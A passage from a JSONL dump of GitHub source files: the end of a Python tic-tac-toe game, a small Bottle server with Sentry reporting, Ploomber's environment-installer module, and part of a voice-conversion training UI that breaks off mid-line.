display_board(moves_list)\n move_count += 1\n game_over = check_winner(moves_list)\n break\n\n elif game_over == f'{player2} has won':\n move_count = 9\n break\n\n elif player_move in move_range and moves_list[player_move - 1] != '':\n # Stops players from choosing the same position\n print('This position is already taken. Please try again.\\n')\n continue\n\n else:\n print('Please choose a position between 1-9 \\n')\n continue\n\n else:\n print('That is an invalid entry. Please try again \\n')\n continue\n\n if str(game_over) == f'{player_select[1]} has won':\n print(game_over + '\\n')\n move_count = 9\n break\n\n elif game_over != f'{player_select[1]} has won' and move_count == 9:\n print(\"It's a draw \\n\")\n\n\n# Start the Official Game of Tic Tac Toe\n\ninstructions()\n\nstart_game = True\n\nwhile start_game:\n play_game()\n\n while True:\n reset_game = input('Press \"Y\" to play again or Press \"N\" to end the game: ')\n print('')\n\n if reset_game.upper() == 'Y':\n break\n\n elif reset_game.upper() == 'N':\n print('Thank you for playing!!!')\n start_game = False\n break\n\n else:\n print('Invalid Entry. Please try again \\n')\n\n","repo_name":"Nnamo23/My_Personal_Projects","sub_path":"Project 1: Text Based Tic Tac Toe/Tic-Tac-Toe.py","file_name":"Tic-Tac-Toe.py","file_ext":"py","file_size_in_byte":8719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"39685187010","text":"import sentry_sdk\r\nimport os\r\nfrom bottle import Bottle, request, route, run\r\nfrom sentry_sdk.integrations.bottle import BottleIntegration\r\n\r\nsentry_sdk.init(\r\n dsn=\"https://07c92891bb8749ccbda5d4e34505f8cf@o399508.ingest.sentry.io/5256758\",\r\n integrations=[BottleIntegration()]\r\n)\r\n\r\n\r\n@route('/') \r\ndef index():\r\n html = \"\"\"\r\n\r\n\r\n \r\n info\r\n \r\n \r\n \r\n
Это главная страничка.
\r\n
\r\n \r\n\r\n\"\"\"\r\n return html \r\n\r\n@route('/success') \r\ndef index():\r\n html = \"\"\"\r\n\r\n\r\n \r\n Страничка, где всё работает!!!\r\n \r\n \r\n \r\n
Все работает!
\r\n
\r\n \r\n\r\n\"\"\"\r\n return html \r\n\r\n@route('/fail') \r\ndef index(): \r\n raise RuntimeError(\"There is an error!\") \r\n return \r\n \r\n \r\nif os.environ.get(\"APP_LOCATION\") == \"heroku\":\r\n run(\r\n host=\"0.0.0.0\",\r\n port=int(os.environ.get(\"PORT\", 5000)),\r\n server=\"gunicorn\",\r\n workers=3,\r\n )\r\nelse:\r\n run(host=\"localhost\", port=8080, debug=True)","repo_name":"daftgrey/skillfactory-D2","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"18980364539","text":"\"\"\"\nImplementation of:\n\n$ plomber install\n\nThis command runs a bunch of pip/conda commands (depending on what's available)\nand it does the *right thing*: creating a new environment if needed, and\nlocking dependencies.\n\"\"\"\nimport sys\nimport json\nimport os\nimport shutil\nfrom pathlib import Path\nfrom contextlib import contextmanager\n\nimport click\nimport yaml\n\nfrom ploomber.io._commander import Commander\nfrom ploomber_core.exceptions import BaseException\nfrom ploomber.util.util import check_mixed_envs\nfrom ploomber.cli.io import command_endpoint\nfrom ploomber.util._sys import _python_bin\nfrom ploomber.telemetry import telemetry\n\n_SETUP_PY = \"setup.py\"\n\n_REQS_LOCK_TXT = \"requirements.lock.txt\"\n_REQS_TXT = \"requirements.txt\"\n\n_ENV_YML = \"environment.yml\"\n_ENV_LOCK_YML = \"environment.lock.yml\"\n\n_PYTHON_BIN_NAME = _python_bin()\n\n\n@command_endpoint\n@telemetry.log_call(\"install\")\ndef main(use_lock, create_env=None, use_venv=False):\n \"\"\"\n Install project, automatically detecting if it's a conda-based or pip-based\n project.\n\n Parameters\n ---------\n use_lock : bool\n If True Uses requirements.lock.txt/environment.lock.yml and\n requirements.dev.lock.txt/environment.dev.lock.yml files. If False\n uses regular files and creates the lock ones after installing\n dependencies. If None, it uses lock files if they exist, if they don't\n it uses regular files\n\n create_env : bool, default=None\n If True, creates a new environment, if False, it installs in the\n current environment. If None, it creates a new environment if there\n isn't one already active\n\n use_venv : bool, default=False\n Force to use Python's venv module, ignoring conda if installed\n \"\"\"\n USE_CONDA = shutil.which(\"conda\") and not use_venv\n ENV_YML_EXISTS = Path(_ENV_YML).exists()\n ENV_LOCK_YML_EXISTS = Path(_ENV_LOCK_YML).exists()\n REQS_TXT_EXISTS = Path(_REQS_TXT).exists()\n REQS_LOCK_TXT_EXISTS = Path(_REQS_LOCK_TXT).exists()\n\n if use_lock is None:\n if USE_CONDA:\n use_lock = ENV_LOCK_YML_EXISTS\n else:\n use_lock = REQS_LOCK_TXT_EXISTS\n\n if use_lock and not ENV_LOCK_YML_EXISTS and not REQS_LOCK_TXT_EXISTS:\n raise BaseException(\n \"Expected an environment.lock.yaml \"\n \"(conda) or requirements.lock.txt (pip) in the current \"\n \"directory. Add one of them and try again.\",\n type_=\"no_lock\",\n )\n elif not use_lock and not ENV_YML_EXISTS and not REQS_TXT_EXISTS:\n raise BaseException(\n \"Expected an environment.yaml (conda)\"\n \" or requirements.txt (pip) in the current directory.\"\n \" Add one of them and try again.\",\n type_=\"no_env_requirements\",\n )\n elif (\n not USE_CONDA and use_lock and ENV_LOCK_YML_EXISTS and not REQS_LOCK_TXT_EXISTS\n ):\n raise BaseException(\n \"Found env environment.lock.yaml \"\n \"but conda is not installed. Install conda or add a \"\n \"requirements.lock.txt to use pip instead\",\n type_=\"no_conda\",\n )\n elif not USE_CONDA and not use_lock and ENV_YML_EXISTS and not REQS_TXT_EXISTS:\n raise BaseException(\n \"Found environment.yaml but conda is not installed.\"\n \" Install conda or add a requirements.txt to use pip instead\",\n type_=\"no_conda2\",\n )\n elif USE_CONDA and use_lock and ENV_LOCK_YML_EXISTS:\n # TODO: emit warnings if unused requirements.txt?\n main_conda(\n use_lock=True,\n create_env=create_env\n if create_env is not None\n else _should_create_conda_env(),\n )\n elif USE_CONDA and not use_lock and ENV_YML_EXISTS:\n # TODO: emit warnings if unused requirements.txt?\n main_conda(\n use_lock=False,\n create_env=create_env\n if create_env is not None\n else _should_create_conda_env(),\n )\n else:\n # TODO: emit warnings if unused environment.yml?\n main_pip(\n use_lock=use_lock,\n create_env=create_env if create_env is not None else not _in_virtualenv(),\n )\n\n\ndef _get_base_prefix_compat():\n \"\"\"\n This function will find the pip virtualenv with different python versions.\n Get base/real prefix, or sys.prefix if there is none.\n \"\"\"\n return (\n getattr(sys, \"base_prefix\", None)\n or sys.prefix\n or getattr(sys, \"real_prefix\", None)\n )\n\n\ndef _in_virtualenv():\n return _get_base_prefix_compat() != sys.prefix\n\n\ndef main_pip(use_lock, create_env=True):\n \"\"\"\n Install pip-based project (uses venv), looks for requirements.txt files\n\n Parameters\n ----------\n start_time : datetime\n The initial runtime of the function.\n\n use_lock : bool\n If True Uses requirements.txt and requirements.dev.lock.txt files\n\n create_env : bool\n If True, it uses the venv module to create a new virtual environment,\n then installs the dependencies, otherwise it installs the dependencies\n in the current environment\n \"\"\"\n reqs_txt = _REQS_LOCK_TXT if use_lock else _REQS_TXT\n reqs_dev_txt = \"requirements.dev.lock.txt\" if use_lock else \"requirements.dev.txt\"\n\n cmdr = Commander()\n\n # TODO: modify readme to add how to activate env? probably also in conda\n name = Path(\".\").resolve().name\n\n try:\n _run_pip_commands(cmdr, create_env, name, reqs_dev_txt, reqs_txt, use_lock)\n except Exception as e:\n cmd = f\"pip install --requirement {reqs_txt}\"\n raise BaseException(\n \"Failed to setup your environment. \" f\"Invoke pip manually.\\n{cmd}\\n\\n\"\n ) from e\n\n\ndef _run_pip_commands(cmdr, create_env, name, reqs_dev_txt, reqs_txt, use_lock):\n if create_env:\n venv_dir = f\"venv-{name}\"\n cmdr.print(\"Creating venv...\")\n cmdr.run(_PYTHON_BIN_NAME, \"-m\", \"venv\", venv_dir, description=\"Creating venv\")\n\n # add venv_dir to .gitignore if it doesn't exist\n if Path(\".gitignore\").exists():\n with open(\".gitignore\") as f:\n if venv_dir not in f.read():\n cmdr.append_inline(venv_dir, \".gitignore\")\n else:\n cmdr.append_inline(venv_dir, \".gitignore\")\n\n folder, bin_name = _get_pip_folder_and_bin_name()\n pip = str(Path(venv_dir, folder, bin_name))\n\n if os.name == \"nt\":\n cmd_activate = f\"{venv_dir}\\\\Scripts\\\\Activate.ps1\"\n else:\n cmd_activate = f\"source {venv_dir}/bin/activate\"\n else:\n cmdr.print(\"Installing in current venv...\")\n pip = \"pip\"\n cmd_activate = None\n\n # FIXME: using an old version of pip may lead to broken environments, so\n # we need to ensure we upgrade before installing dependencies.\n\n if Path(_SETUP_PY).exists():\n _pip_install_setup_py_pip(cmdr, pip)\n\n _pip_install(cmdr, pip, lock=not use_lock, requirements=reqs_txt)\n\n if Path(reqs_dev_txt).exists():\n _pip_install(cmdr, pip, lock=not use_lock, requirements=reqs_dev_txt)\n\n _next_steps(cmdr, cmd_activate)\n\n\ndef main_conda(use_lock, create_env=True):\n \"\"\"\n Install conda-based project, looks for environment.yml files\n\n Parameters\n ----------\n use_lock : bool\n If True Uses environment.lock.yml and environment.dev.lock.yml files\n\n\n create_env : bool\n If True, it uses the venv module to create a new virtual environment,\n then installs the dependencies, otherwise it installs the dependencies\n in the current environment\n \"\"\"\n env_yml = _ENV_LOCK_YML if use_lock else _ENV_YML\n\n # TODO: ensure ploomber-scaffold includes dependency file (including\n # lock files in MANIFEST.in\n cmdr = Commander()\n\n # TODO: provide helpful error messages on each command\n\n if create_env:\n with open(env_yml) as f:\n env_name = yaml.safe_load(f)[\"name\"]\n\n current_env = _current_conda_env_name()\n\n if env_name == current_env:\n err = (\n f\"{env_yml} will create an environment \"\n f\"named {env_name!r}, which is the current active \"\n \"environment. Activate a different one and try \"\n \"again: conda activate base\"\n )\n telemetry.log_api(\n \"install-error\",\n metadata={\"type\": \"env_running_conflict\", \"exception\": err},\n )\n raise BaseException(err)\n else:\n env_name = _current_conda_env_name()\n\n # get current installed envs\n conda = shutil.which(\"conda\")\n mamba = shutil.which(\"mamba\")\n\n # if already installed and running on windows, ask to delete first,\n # otherwise it might lead to an intermittent error (permission denied\n # on vcruntime140.dll)\n if os.name == \"nt\" and create_env:\n envs = cmdr.run(conda, \"env\", \"list\", \"--json\", capture_output=True)\n already_installed = any(\n [\n env\n for env in json.loads(envs)[\"envs\"]\n # only check in the envs folder, ignore envs in other locations\n if \"envs\" in env and env_name in env\n ]\n )\n\n if already_installed:\n err = (\n f\"Environment {env_name!r} already exists, \"\n f\"delete it and try again \"\n f\"(conda env remove --name {env_name})\"\n )\n telemetry.log_api(\n \"install-error\", metadata={\"type\": \"duplicate_env\", \"exception\": err}\n )\n raise BaseException(err)\n\n pkg_manager = mamba if mamba else conda\n\n try:\n _run_conda_commands(\n cmdr, pkg_manager, create_env, env_yml, env_name, use_lock, conda\n )\n except Exception as e:\n if create_env:\n cmd = f\"conda env create --file {env_yml} --force\"\n else:\n cmd = f\"conda env update --file {env_yml} --name {env_name}\"\n raise BaseException(\n \"Failed to setup your environment. \" f\"Invoke conda manually.\\n{cmd}\\n\\n\"\n ) from e\n\n\ndef _run_conda_commands(\n cmdr,\n pkg_manager,\n create_env,\n env_yml,\n env_name,\n use_lock,\n conda,\n):\n if create_env:\n cmdr.print(\"Creating conda env...\")\n cmdr.run(\n pkg_manager,\n \"env\",\n \"create\",\n \"--file\",\n env_yml,\n \"--force\",\n description=\"Creating env\",\n )\n else:\n cmdr.print(\"Installing in current conda env...\")\n\n cmdr.run(\n pkg_manager,\n \"env\",\n \"update\",\n \"--file\",\n env_yml,\n \"--name\",\n env_name,\n description=\"Installing dependencies\",\n )\n\n if Path(_SETUP_PY).exists():\n _pip_install_setup_py_conda(cmdr, env_name)\n\n if not use_lock:\n env_lock = cmdr.run(\n conda,\n \"env\",\n \"export\",\n \"--no-build\",\n \"--name\",\n env_name,\n description=\"Locking dependencies\",\n capture_output=True,\n )\n Path(_ENV_LOCK_YML).write_text(env_lock)\n\n _try_conda_install_and_lock_dev(cmdr, pkg_manager, env_name, use_lock=use_lock)\n\n cmd_activate = f\"conda activate {env_name}\" if create_env else None\n _next_steps(cmdr, cmd_activate)\n\n\ndef _is_conda():\n \"\"\"\n The function will tell if the code is running in a conda env\n \"\"\"\n conda_path = Path(sys.prefix, \"conda-meta\")\n return (\n conda_path.exists()\n or os.environ.get(\"CONDA_PREFIX\", False)\n or os.environ.get(\"CONDA_DEFAULT_ENV\", False)\n )\n\n\ndef _should_create_conda_env():\n # not in conda env or running in base conda env\n is_conda = _is_conda()\n return not is_conda or (is_conda and _current_conda_env_name() == \"base\")\n\n\ndef _current_conda_env_name():\n return os.environ.get(\"CONDA_DEFAULT_ENV\") or Path(sys.executable).parents[1].name\n\n\ndef _get_pip_folder_and_bin_name():\n folder = \"Scripts\" if os.name == \"nt\" else \"bin\"\n bin_name = \"pip.exe\" if os.name == \"nt\" else \"pip\"\n return folder, bin_name\n\n\ndef _find_conda_root(conda_bin):\n conda_bin = Path(conda_bin)\n\n for parent in conda_bin.parents:\n # I've seen variations of this. on windows: Miniconda3 and miniconda3\n # on linux miniconda3, anaconda and miniconda\n if parent.name.lower() in {\"miniconda3\", \"miniconda\", \"anaconda3\"}:\n return parent\n err = (\n \"Failed to locate conda root from \"\n f\"directory: {str(conda_bin)!r}. Please submit an issue: \"\n \"https://github.com/ploomber/ploomber/issues/new\"\n )\n telemetry.log_api(\n \"install-error\", metadata={\"type\": \"no_conda_root\", \"exception\": err}\n )\n raise BaseException(err)\n\n\ndef _path_to_pip_in_env_with_name(conda_bin, env_name):\n conda_root = _find_conda_root(conda_bin)\n folder, bin_name = _get_pip_folder_and_bin_name()\n return str(conda_root / \"envs\" / env_name / folder / bin_name)\n\n\ndef _locate_pip_inside_conda(env_name):\n \"\"\"\n Locates pip inside the conda env with a given name\n \"\"\"\n pip = _path_to_pip_in_env_with_name(shutil.which(\"conda\"), env_name)\n\n # this might happen if the environment does not contain python/pip\n if not Path(pip).exists():\n err = (\n f\"Could not locate pip in environment {env_name!r}, make sure \"\n \"it is included in your environment.yml and try again\"\n )\n telemetry.log_api(\n \"install-error\", metadata={\"type\": \"no_pip_env\", \"exception\": err}\n )\n raise BaseException(err)\n\n return pip\n\n\ndef _pip_install_setup_py_conda(cmdr, env_name):\n \"\"\"\n Call \"pip install --editable .\" if setup.py exists. Automatically locates\n the appropriate pip binary inside the conda env given the env name\n \"\"\"\n pip = _locate_pip_inside_conda(env_name)\n _pip_install_setup_py_pip(cmdr, pip)\n\n\ndef _pip_install_setup_py_pip(cmdr, pip):\n cmdr.run(pip, \"install\", \"--editable\", \".\", description=\"Installing project\")\n\n\ndef _try_conda_install_and_lock_dev(cmdr, pkg_manager, env_name, use_lock):\n env_yml = \"environment.dev.lock.yml\" if use_lock else \"environment.dev.yml\"\n\n if Path(env_yml).exists():\n cmdr.run(\n pkg_manager,\n \"env\",\n \"update\",\n \"--file\",\n env_yml,\n \"--name\",\n env_name,\n description=\"Installing dev dependencies\",\n )\n\n if not use_lock:\n env_lock = cmdr.run(\n shutil.which(\"conda\"),\n \"env\",\n \"export\",\n \"--no-build\",\n \"--name\",\n env_name,\n description=\"Locking dev dependencies\",\n capture_output=True,\n )\n Path(\"environment.dev.lock.yml\").write_text(env_lock)\n\n\ndef _next_steps(cmdr, cmd_activate):\n cmdr.success(\"Next steps\")\n message = f\"$ {cmd_activate}\\n\" if cmd_activate else \"\"\n cmdr.print((f\"{message}$ ploomber build\"))\n cmdr.success()\n\n\ndef _pip_install(cmdr, pip, lock, requirements=_REQS_TXT):\n \"\"\"Install and freeze requirements\n\n Parameters\n ----------\n cmdr\n Commander instance\n\n pip\n Path to pip binary\n\n lock\n If true, locks dependencies and stores them in a requirements.lock.txt\n \"\"\"\n cmdr.run(\n pip,\n \"install\",\n \"--requirement\",\n requirements,\n description=\"Installing dependencies\",\n )\n\n if lock:\n pip_lock = cmdr.run(\n pip,\n \"freeze\",\n \"--exclude-editable\",\n description=\"Locking dependencies\",\n capture_output=True,\n )\n check_mixed_envs(pip_lock)\n name = Path(requirements).stem\n Path(f\"{name}.lock.txt\").write_text(pip_lock)\n\n\ndef _environment_yml_has_python(path):\n with open(path) as f:\n env_yml = yaml.safe_load(f)\n\n deps = env_yml.get(\"dependencies\", [])\n\n has_python = False\n idx = None\n\n for i, line in enumerate(deps):\n if isinstance(line, str) and line.startswith(\"python\"):\n has_python = True\n idx = i\n break\n\n if has_python:\n env_yml[\"dependencies\"].pop(idx)\n\n return has_python, env_yml\n\n\n@contextmanager\ndef check_environment_yaml(path, enable=True):\n has_python, env_yml = _environment_yml_has_python(path)\n TMP_FILENAME = \".ploomber-conda-tmp.yml\"\n\n if has_python and enable:\n path_to_use = Path(TMP_FILENAME)\n path_to_use.write_text(yaml.dump(env_yml))\n click.secho(\n f\"WARNING: {path!r} contains Python as \"\n \"dependency, ignoring it as it may break \"\n \"the current environment\",\n fg=\"yellow\",\n )\n else:\n path_to_use = Path(path)\n\n try:\n yield str(path_to_use)\n finally:\n if Path(TMP_FILENAME).exists():\n path_to_use.unlink()\n","repo_name":"ploomber/ploomber","sub_path":"src/ploomber/cli/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":17063,"program_lang":"python","lang":"en","doc_type":"code","stars":3258,"dataset":"github-code","pt":"66"}
+{"seq_id":"40540222346","text":"from multiprocessing import cpu_count\r\nimport threading\r\nfrom time import sleep\r\nfrom subprocess import Popen,PIPE,run as runn\r\nfrom time import sleep\r\nimport torch, pdb, os,traceback,sys,warnings,shutil,numpy as np,faiss\r\n#判断是否有能用来训练和加速推理的N卡\r\nncpu=cpu_count()\r\nngpu=torch.cuda.device_count()\r\ngpu_infos=[]\r\nif(torch.cuda.is_available()==False or ngpu==0):if_gpu_ok=False\r\nelse:\r\n if_gpu_ok = False\r\n for i in range(ngpu):\r\n gpu_name=torch.cuda.get_device_name(i)\r\n if(\"16\"in gpu_name or \"MX\"in gpu_name):continue\r\n if(\"10\"in gpu_name or \"20\"in gpu_name or \"30\"in gpu_name or \"40\"in gpu_name or \"A50\"in gpu_name.upper() or \"70\"in gpu_name or \"80\"in gpu_name or \"90\"in gpu_name or \"M4\"in gpu_name or \"T4\"in gpu_name or \"TITAN\"in gpu_name.upper()):#A10#A100#V100#A40#P40#M40#K80\r\n if_gpu_ok=True#至少有一张能用的N卡\r\n gpu_infos.append(\"%s\\t%s\"%(i,gpu_name))\r\ngpu_info=\"\\n\".join(gpu_infos)if if_gpu_ok==True and len(gpu_infos)>0 else \"很遗憾您这没有能用的显卡来支持您训练\"\r\ngpus=\"-\".join([i[0]for i in gpu_infos])\r\nnow_dir=os.getcwd()\r\nsys.path.append(now_dir)\r\ntmp=os.path.join(now_dir,\"TEMP\")\r\nshutil.rmtree(tmp,ignore_errors=True)\r\nos.makedirs(tmp,exist_ok=True)\r\nos.makedirs(os.path.join(now_dir,\"logs\"),exist_ok=True)\r\nos.makedirs(os.path.join(now_dir,\"weights\"),exist_ok=True)\r\nos.environ[\"TEMP\"]=tmp\r\nwarnings.filterwarnings(\"ignore\")\r\ntorch.manual_seed(114514)\r\nfrom infer_pack.models import SynthesizerTrnMs256NSFsid, SynthesizerTrnMs256NSFsid_nono\r\nfrom scipy.io import wavfile\r\nfrom fairseq import checkpoint_utils\r\nimport gradio as gr\r\nimport librosa\r\nimport logging\r\nfrom vc_infer_pipeline import VC\r\nimport soundfile as sf\r\nfrom config import is_half,device,is_half\r\nfrom infer_uvr5 import _audio_pre_\r\nfrom my_utils import load_audio\r\nfrom train.process_ckpt import show_info,change_info,merge,extract_small_model\r\n# from trainset_preprocess_pipeline import PreProcess\r\nlogging.getLogger('numba').setLevel(logging.WARNING)\r\n\r\nclass ToolButton(gr.Button, gr.components.FormComponent):\r\n \"\"\"Small button with single emoji as text, fits inside gradio forms\"\"\"\r\n def __init__(self, **kwargs):\r\n super().__init__(variant=\"tool\", **kwargs)\r\n def get_block_name(self):\r\n return \"button\"\r\n\r\nhubert_model=None\r\ndef load_hubert():\r\n global hubert_model\r\n models, saved_cfg, task = checkpoint_utils.load_model_ensemble_and_task([\"hubert_base.pt\"],suffix=\"\",)\r\n hubert_model = models[0]\r\n hubert_model = hubert_model.to(device)\r\n if(is_half):hubert_model = hubert_model.half()\r\n else:hubert_model = hubert_model.float()\r\n hubert_model.eval()\r\n\r\nweight_root=\"weights\"\r\nweight_uvr5_root=\"uvr5_weights\"\r\nnames=[]\r\nfor name in os.listdir(weight_root):names.append(name)\r\nuvr5_names=[]\r\nfor name in os.listdir(weight_uvr5_root):uvr5_names.append(name.replace(\".pth\",\"\"))\r\n\r\ndef vc_single(sid,input_audio,f0_up_key,f0_file,f0_method,file_index,file_big_npy,index_rate):#spk_item, input_audio0, vc_transform0,f0_file,f0method0\r\n global tgt_sr,net_g,vc,hubert_model\r\n if input_audio is None:return \"You need to upload an audio\", None\r\n f0_up_key = int(f0_up_key)\r\n try:\r\n audio=load_audio(input_audio,16000)\r\n times = [0, 0, 0]\r\n if(hubert_model==None):load_hubert()\r\n if_f0 = cpt.get(\"f0\", 1)\r\n audio_opt=vc.pipeline(hubert_model,net_g,sid,audio,times,f0_up_key,f0_method,file_index,file_big_npy,index_rate,if_f0,f0_file=f0_file)\r\n print(times)\r\n return \"Success\", (tgt_sr, audio_opt)\r\n except:\r\n info=traceback.format_exc()\r\n print(info)\r\n return info,(None,None)\r\n\r\ndef vc_multi(sid,dir_path,opt_root,paths,f0_up_key,f0_method,file_index,file_big_npy,index_rate):\r\n try:\r\n dir_path=dir_path.strip(\" \")#防止小白拷路径头尾带了空格\r\n opt_root=opt_root.strip(\" \")\r\n os.makedirs(opt_root, exist_ok=True)\r\n try:\r\n if(dir_path!=\"\"):paths=[os.path.join(dir_path,name)for name in os.listdir(dir_path)]\r\n else:paths=[path.name for path in paths]\r\n except:\r\n traceback.print_exc()\r\n paths = [path.name for path in paths]\r\n infos=[]\r\n for path in paths:\r\n info,opt=vc_single(sid,path,f0_up_key,None,f0_method,file_index,file_big_npy,index_rate)\r\n if(info==\"Success\"):\r\n try:\r\n tgt_sr,audio_opt=opt\r\n wavfile.write(\"%s/%s\" % (opt_root, os.path.basename(path)), tgt_sr, audio_opt)\r\n except:\r\n info=traceback.format_exc()\r\n infos.append(\"%s->%s\"%(os.path.basename(path),info))\r\n yield \"\\n\".join(infos)\r\n yield \"\\n\".join(infos)\r\n except:\r\n yield traceback.format_exc()\r\n\r\ndef uvr(model_name,inp_root,save_root_vocal,paths,save_root_ins):\r\n infos = []\r\n try:\r\n inp_root = inp_root.strip(\" \").strip(\"\\n\")\r\n save_root_vocal = save_root_vocal.strip(\" \").strip(\"\\n\")\r\n save_root_ins = save_root_ins.strip(\" \").strip(\"\\n\")\r\n pre_fun = _audio_pre_(model_path=os.path.join(weight_uvr5_root,model_name+\".pth\"), device=device, is_half=is_half)\r\n if (inp_root != \"\"):paths = [os.path.join(inp_root, name) for name in os.listdir(inp_root)]\r\n else:paths = [path.name for path in paths]\r\n for name in paths:\r\n inp_path=os.path.join(inp_root,name)\r\n try:\r\n pre_fun._path_audio_(inp_path , save_root_ins,save_root_vocal)\r\n infos.append(\"%s->Success\"%(os.path.basename(inp_path)))\r\n yield \"\\n\".join(infos)\r\n except:\r\n infos.append(\"%s->%s\" % (os.path.basename(inp_path),traceback.format_exc()))\r\n yield \"\\n\".join(infos)\r\n except:\r\n infos.append(traceback.format_exc())\r\n yield \"\\n\".join(infos)\r\n finally:\r\n try:\r\n del pre_fun.model\r\n del pre_fun\r\n except:\r\n traceback.print_exc()\r\n print(\"clean_empty_cache\")\r\n torch.cuda.empty_cache()\r\n yield \"\\n\".join(infos)\r\n\r\n#一个选项卡全局只能有一个音色\r\ndef get_vc(sid):\r\n global n_spk,tgt_sr,net_g,vc,cpt\r\n if(sid==\"\"):\r\n global hubert_model\r\n print(\"clean_empty_cache\")\r\n del net_g, n_spk, vc, hubert_model,tgt_sr#,cpt\r\n hubert_model = net_g=n_spk=vc=hubert_model=tgt_sr=None\r\n torch.cuda.empty_cache()\r\n ###楼下不这么折腾清理不干净\r\n if_f0 = cpt.get(\"f0\", 1)\r\n if (if_f0 == 1):\r\n net_g = SynthesizerTrnMs256NSFsid(*cpt[\"config\"], is_half=is_half)\r\n else:\r\n net_g = SynthesizerTrnMs256NSFsid_nono(*cpt[\"config\"])\r\n del net_g,cpt\r\n torch.cuda.empty_cache()\r\n cpt=None\r\n return {\"visible\": False, \"__type__\": \"update\"}\r\n person = \"%s/%s\" % (weight_root, sid)\r\n print(\"loading %s\"%person)\r\n cpt = torch.load(person, map_location=\"cpu\")\r\n tgt_sr = cpt[\"config\"][-1]\r\n cpt[\"config\"][-3]=cpt[\"weight\"][\"emb_g.weight\"].shape[0]#n_spk\r\n if_f0=cpt.get(\"f0\",1)\r\n if(if_f0==1):\r\n net_g = SynthesizerTrnMs256NSFsid(*cpt[\"config\"], is_half=is_half)\r\n else:\r\n net_g = SynthesizerTrnMs256NSFsid_nono(*cpt[\"config\"])\r\n del net_g.enc_q\r\n print(net_g.load_state_dict(cpt[\"weight\"], strict=False)) # 不加这一行清不干净,真奇葩\r\n net_g.eval().to(device)\r\n if (is_half):net_g = net_g.half()\r\n else:net_g = net_g.float()\r\n vc = VC(tgt_sr, device, is_half)\r\n n_spk=cpt[\"config\"][-3]\r\n return {\"visible\": True,\"maximum\": n_spk, \"__type__\": \"update\"}\r\n\r\ndef change_choices():return {\"choices\": sorted(list(os.listdir(weight_root))), \"__type__\": \"update\"}\r\ndef clean():return {\"value\": \"\", \"__type__\": \"update\"}\r\ndef change_f0(if_f0_3,sr2):#np7, f0method8,pretrained_G14,pretrained_D15\r\n if(if_f0_3==\"是\"):return {\"visible\": True, \"__type__\": \"update\"},{\"visible\": True, \"__type__\": \"update\"},\"pretrained/f0G%s.pth\"%sr2,\"pretrained/f0D%s.pth\"%sr2\r\n return {\"visible\": False, \"__type__\": \"update\"}, {\"visible\": False, \"__type__\": \"update\"},\"pretrained/G%s.pth\"%sr2,\"pretrained/D%s.pth\"%sr2\r\n\r\nsr_dict={\r\n \"32k\":32000,\r\n \"40k\":40000,\r\n \"48k\":48000,\r\n}\r\n\r\ndef if_done(done,p):\r\n while 1:\r\n if(p.poll()==None):sleep(0.5)\r\n else:break\r\n done[0]=True\r\n\r\n\r\ndef if_done_multi(done,ps):\r\n while 1:\r\n #poll==None代表进程未结束\r\n #只要有一个进程未结束都不停\r\n flag=1\r\n for p in ps:\r\n if(p.poll()==None):\r\n flag = 0\r\n sleep(0.5)\r\n break\r\n if(flag==1):break\r\n done[0]=True\r\n\r\ndef preprocess_dataset(trainset_dir,exp_dir,sr,n_p=ncpu):\r\n sr=sr_dict[sr]\r\n os.makedirs(\"%s/logs/%s\"%(now_dir,exp_dir),exist_ok=True)\r\n f = open(\"%s/logs/%s/preprocess.log\"%(now_dir,exp_dir), \"w\")\r\n f.close()\r\n cmd=\"python trainset_preprocess_pipeline_print.py %s %s %s %s/logs/%s\"%(trainset_dir,sr,n_p,now_dir,exp_dir)\r\n print(cmd)\r\n p = Popen(cmd, shell=True)#, stdin=PIPE, stdout=PIPE,stderr=PIPE,cwd=now_dir\r\n ###煞笔gr,popen read都非得全跑完了再一次性读取,不用gr就正常读一句输出一句;只能额外弄出一个文本流定时读\r\n done=[False]\r\n threading.Thread(target=if_done,args=(done,p,)).start()\r\n while(1):\r\n with open(\"%s/logs/%s/preprocess.log\"%(now_dir,exp_dir),\"r\")as f:yield(f.read())\r\n sleep(1)\r\n if(done[0]==True):break\r\n with open(\"%s/logs/%s/preprocess.log\"%(now_dir,exp_dir), \"r\")as f:log = f.read()\r\n print(log)\r\n yield log\r\n#but2.click(extract_f0,[gpus6,np7,f0method8,if_f0_3,trainset_dir4],[info2])\r\ndef extract_f0_feature(gpus,n_p,f0method,if_f0,exp_dir):\r\n gpus=gpus.split(\"-\")\r\n os.makedirs(\"%s/logs/%s\"%(now_dir,exp_dir),exist_ok=True)\r\n f = open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir), \"w\")\r\n f.close()\r\n if(if_f0==\"是\"):\r\n cmd=\"python extract_f0_print.py %s/logs/%s %s %s\"%(now_dir,exp_dir,n_p,f0method)\r\n print(cmd)\r\n p = Popen(cmd, shell=True,cwd=now_dir)#, stdin=PIPE, stdout=PIPE,stderr=PIPE\r\n ###煞笔gr,popen read都非得全跑完了再一次性读取,不用gr就正常读一句输出一句;只能额外弄出一个文本流定时读\r\n done=[False]\r\n threading.Thread(target=if_done,args=(done,p,)).start()\r\n while(1):\r\n with open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir),\"r\")as f:yield(f.read())\r\n sleep(1)\r\n if(done[0]==True):break\r\n with open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir), \"r\")as f:log = f.read()\r\n print(log)\r\n yield log\r\n ####对不同part分别开多进程\r\n '''\r\n n_part=int(sys.argv[1])\r\n i_part=int(sys.argv[2])\r\n i_gpu=sys.argv[3]\r\n exp_dir=sys.argv[4]\r\n os.environ[\"CUDA_VISIBLE_DEVICES\"]=str(i_gpu)\r\n '''\r\n leng=len(gpus)\r\n ps=[]\r\n for idx,n_g in enumerate(gpus):\r\n cmd=\"python extract_feature_print.py %s %s %s %s/logs/%s\"%(leng,idx,n_g,now_dir,exp_dir)\r\n print(cmd)\r\n p = Popen(cmd, shell=True, cwd=now_dir)#, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, cwd=now_dir\r\n ps.append(p)\r\n ###煞笔gr,popen read都非得全跑完了再一次性读取,不用gr就正常读一句输出一句;只能额外弄出一个文本流定时读\r\n done = 